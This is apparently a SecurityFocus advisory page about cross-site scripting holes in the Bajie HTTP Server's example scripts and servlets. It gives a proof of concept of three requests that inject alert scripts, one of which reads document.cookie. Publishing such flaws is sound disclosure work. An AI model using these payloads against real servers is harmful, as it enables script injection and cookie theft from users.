Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

The following proof of concept has been supplied:

http://www.example.com/cgi/bin/test.txt?<script>alert(document.cookie)</script>
POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0
POST /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath=
HTTP/1.0







 

Privacy Statement
Copyright 2009, SecurityFocus